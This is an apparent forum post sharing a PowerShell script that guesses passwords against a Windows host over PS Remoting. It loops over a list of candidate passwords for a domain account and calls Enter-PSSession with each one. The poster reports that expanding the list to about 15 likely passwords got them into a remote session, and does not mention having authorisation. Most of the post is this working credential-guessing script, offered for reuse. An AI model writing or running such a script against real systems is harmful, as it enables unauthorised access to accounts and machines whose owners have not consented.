Okay, I tried this earlier with some live systems that had PS Remoting enabled and just banged out a script that seems to manage itself o.k.:
#Pentest-RemotePSCredsList.ps1
$pusername = 'DOMAIN\Username' #possible username (FQDN)
$ppasswords = 'GoodPass','BadPass0','BadPass1','BadPass2' #list of possible passwords array variable
$hostname = 'hostname' #name of target machine, or IP addr
ForEach($p in $ppasswords)
{
echo Attempting password: $p
$secpasswd = ConvertTo-SecureString "$p" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ($pusername, $secpasswd)
Enter-PSSession $hostname -Credential $mycreds
pause
} # end foreach
I was surprised, even if a good command completes first without any errors and after if the others spit out a Access denied error at you, once the whole script is finished you still end up connected in a remote cmdline session. So as long as one of those passwords in your list is good, it should work.
After troubleshooting getting a Access Denied error and not anything else, I fleshed out the password list with about 15 of what I thought were most likely and got one to work right away! :D
Now this is weird because the real answer that solved my problem has nothing to do with the title of my question. It was thanks to everyone else that I just got it. Should I just delete this one entirely?